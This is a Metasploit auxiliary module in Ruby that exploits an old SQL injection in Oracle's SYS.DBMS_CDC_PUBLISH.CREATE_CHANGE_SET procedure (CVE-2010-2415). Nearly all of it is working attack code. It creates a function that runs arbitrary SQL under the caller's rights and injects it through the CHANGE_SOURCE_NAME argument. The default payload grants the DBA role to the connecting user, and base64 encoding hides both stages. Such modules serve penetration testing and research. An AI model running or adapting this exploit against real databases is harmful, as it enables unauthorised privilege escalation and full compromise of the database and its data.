Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::ORACLE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET',
      'Description'    => %q{
          The module exploits an sql injection flaw in the CREATE_CHANGE_SET
        procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege
        on the vulnerable package can exploit this vulnerability. By default, users granted
        EXECUTE_CATALOG_ROLE have the required privilege.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-2415' ],
          [ 'OSVDB', '70078'],
          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuoct2010-175626.html' ],
        ],
      'DisclosureDate' => '2010-10-13'))

    register_options(
      [
        OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
      ])
  end

  def run

    return if not check_dependencies

    name  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
    var1  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
    var2  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)

    function = "
CREATE OR REPLACE FUNCTION #{name}
RETURN VARCHAR2 AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN NULL;
END;
    "

    #PROCEDURE CREATE_CHANGE_SET
    # Argument Name			Type			In/Out Default?
    # ------------------------------ ----------------------- ------ --------
    # CHANGE_SET_NAME		VARCHAR2		IN
    # DESCRIPTION			VARCHAR2		IN     DEFAULT
    # CHANGE_SOURCE_NAME		VARCHAR2		IN		<-boom ;)
    # STOP_ON_DDL			CHAR			IN     DEFAULT
    # BEGIN_DATE			DATE			IN     DEFAULT
    # END_DATE			DATE			IN     DEFAULT

    package = "
BEGIN
SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET('#{name}','#{name}','''||'||user||'.#{name}||''');
END;
    "

    uno  = Rex::Text.encode_base64(function)
    dos  = Rex::Text.encode_base64(package)

    encoded_sql = %Q|
DECLARE
#{var1} VARCHAR2(32767);
#{var2} VARCHAR2(32767);
BEGIN
#{var1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
EXECUTE IMMEDIATE #{var1};
#{var2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
EXECUTE IMMEDIATE #{var2};
END;
    |

    print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET...")
    prepare_exec(encoded_sql)
    print_status("Done...")

  end
end